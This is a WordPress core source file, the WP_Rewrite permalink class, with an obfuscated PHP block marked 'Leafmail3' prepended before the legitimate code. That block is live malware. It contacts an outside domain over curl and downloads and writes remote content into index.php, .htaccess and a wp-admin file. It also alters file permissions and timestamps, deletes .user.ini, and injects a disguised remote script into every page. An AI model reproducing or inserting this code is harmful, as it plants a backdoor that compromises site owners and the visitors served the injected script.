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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Rewrite API: WP_Rewrite class
*
* @package WordPress
* @subpackage Rewrite
* @since 1.5.0
*/
/**
* Core class used to implement a rewrite component API.
*
* The WordPress Rewrite class writes the rewrite module rules to the .htaccess
* file. It also handles parsing the request to get the correct setup for the
* WordPress Query class.
*
* The Rewrite along with WP class function as a front controller for WordPress.
* You can add rules to trigger your page view and processing using this
* component. The full functionality of a front controller does not exist,
* meaning you can't define how the template files load based on the rewrite
* rules.
*
* @since 1.5.0
*/
#[AllowDynamicProperties]
class WP_Rewrite {
/**
* Permalink structure for posts.
*
* @since 1.5.0
* @var string
*/
public $permalink_structure;
/**
* Whether to add trailing slashes.
*
* @since 2.2.0
* @var bool
*/
public $use_trailing_slashes;
/**
* Base for the author permalink structure (example.com/$author_base/authorname).
*
* @since 1.5.0
* @var string
*/
public $author_base = 'author';
/**
* Permalink structure for author archives.
*
* @since 1.5.0
* @var string
*/
public $author_structure;
/**
* Permalink structure for date archives.
*
* @since 1.5.0
* @var string
*/
public $date_structure;
/**
* Permalink structure for pages.
*
* @since 1.5.0
* @var string
*/
public $page_structure;
/**
* Base of the search permalink structure (example.com/$search_base/query).
*
* @since 1.5.0
* @var string
*/
public $search_base = 'search';
/**
* Permalink structure for searches.
*
* @since 1.5.0
* @var string
*/
public $search_structure;
/**
* Comments permalink base.
*
* @since 1.5.0
* @var string
*/
public $comments_base = 'comments';
/**
* Pagination permalink base.
*
* @since 3.1.0
* @var string
*/
public $pagination_base = 'page';
/**
* Comments pagination permalink base.
*
* @since 4.2.0
* @var string
*/
public $comments_pagination_base = 'comment-page';
/**
* Feed permalink base.
*
* @since 1.5.0
* @var string
*/
public $feed_base = 'feed';
/**
* Comments feed permalink structure.
*
* @since 1.5.0
* @var string
*/
public $comment_feed_structure;
/**
* Feed request permalink structure.
*
* @since 1.5.0
* @var string
*/
public $feed_structure;
/**
* The static portion of the post permalink structure.
*
* If the permalink structure is "/archive/%post_id%" then the front
* is "/archive/". If the permalink structure is "/%year%/%postname%/"
* then the front is "/".
*
* @since 1.5.0
* @var string
*
* @see WP_Rewrite::init()
*/
public $front;
/**
* The prefix for all permalink structures.
*
* If PATHINFO/index permalinks are in use then the root is the value of
* `WP_Rewrite::$index` with a trailing slash appended. Otherwise the root
* will be empty.
*
* @since 1.5.0
* @var string
*
* @see WP_Rewrite::init()
* @see WP_Rewrite::using_index_permalinks()
*/
public $root = '';
/**
* The name of the index file which is the entry point to all requests.
*
* @since 1.5.0
* @var string
*/
public $index = 'index.php';
/**
* Variable name to use for regex matches in the rewritten query.
*
* @since 1.5.0
* @var string
*/
public $matches = '';
/**
* Rewrite rules to match against the request to find the redirect or query.
*
* @since 1.5.0
* @var string[]
*/
public $rules;
/**
* Additional rules added external to the rewrite class.
*
* Those not generated by the class, see add_rewrite_rule().
*
* @since 2.1.0
* @var string[]
*/
public $extra_rules = array();
/**
* Additional rules that belong at the beginning to match first.
*
* Those not generated by the class, see add_rewrite_rule().
*
* @since 2.3.0
* @var string[]
*/
public $extra_rules_top = array();
/**
* Rules that don't redirect to WordPress' index.php.
*
* These rules are written to the mod_rewrite portion of the .htaccess,
* and are added by add_external_rule().
*
* @since 2.1.0
* @var string[]
*/
public $non_wp_rules = array();
/**
* Extra permalink structures, e.g. categories, added by add_permastruct().
*
* @since 2.1.0
* @var array[]
*/
public $extra_permastructs = array();
/**
* Endpoints (like /trackback/) added by add_rewrite_endpoint().
*
* @since 2.1.0
* @var array[]
*/
public $endpoints;
/**
* Whether to write every mod_rewrite rule for WordPress into the .htaccess file.
*
* This is off by default, turning it on might print a lot of rewrite rules
* to the .htaccess file.
*
* @since 2.0.0
* @var bool
*
* @see WP_Rewrite::mod_rewrite_rules()
*/
public $use_verbose_rules = false;
/**
* Could post permalinks be confused with those of pages?
*
* If the first rewrite tag in the post permalink structure is one that could
* also match a page name (e.g. %postname% or %author%) then this flag is
* set to true. Prior to WordPress 3.3 this flag indicated that every page
* would have a set of rules added to the top of the rewrite rules array.
* Now it tells WP::parse_request() to check if a URL matching the page
* permastruct is actually a page before accepting it.
*
* @since 2.5.0
* @var bool
*
* @see WP_Rewrite::init()
*/
public $use_verbose_page_rules = true;
/**
* Rewrite tags that can be used in permalink structures.
*
* These are translated into the regular expressions stored in
* `WP_Rewrite::$rewritereplace` and are rewritten to the query
* variables listed in WP_Rewrite::$queryreplace.
*
* Additional tags can be added with add_rewrite_tag().
*
* @since 1.5.0
* @var string[]
*/
public $rewritecode = array(
'%year%',
'%monthnum%',
'%day%',
'%hour%',
'%minute%',
'%second%',
'%postname%',
'%post_id%',
'%author%',
'%pagename%',
'%search%',
);
/**
* Regular expressions to be substituted into rewrite rules in place
* of rewrite tags, see WP_Rewrite::$rewritecode.
*
* @since 1.5.0
* @var string[]
*/
public $rewritereplace = array(
'([0-9]{4})',
'([0-9]{1,2})',
'([0-9]{1,2})',
'([0-9]{1,2})',
'([0-9]{1,2})',
'([0-9]{1,2})',
'([^/]+)',
'([0-9]+)',
'([^/]+)',
'([^/]+?)',
'(.+)',
);
/**
* Query variables that rewrite tags map to, see WP_Rewrite::$rewritecode.
*
* @since 1.5.0
* @var string[]
*/
public $queryreplace = array(
'year=',
'monthnum=',
'day=',
'hour=',
'minute=',
'second=',
'name=',
'p=',
'author_name=',
'pagename=',
's=',
);
/**
* Supported default feeds.
*
* @since 1.5.0
* @var string[]
*/
public $feeds = array( 'feed', 'rdf', 'rss', 'rss2', 'atom' );
/**
* Determines whether permalinks are being used.
*
* This can be either rewrite module or permalink in the HTTP query string.
*
* @since 1.5.0
*
* @return bool True, if permalinks are enabled.
*/
public function using_permalinks() {
return ! empty( $this->permalink_structure );
}
/**
* Determines whether permalinks are being used and rewrite module is not enabled.
*
* Means that permalink links are enabled and index.php is in the URL.
*
* @since 1.5.0
*
* @return bool Whether permalink links are enabled and index.php is in the URL.
*/
public function using_index_permalinks() {
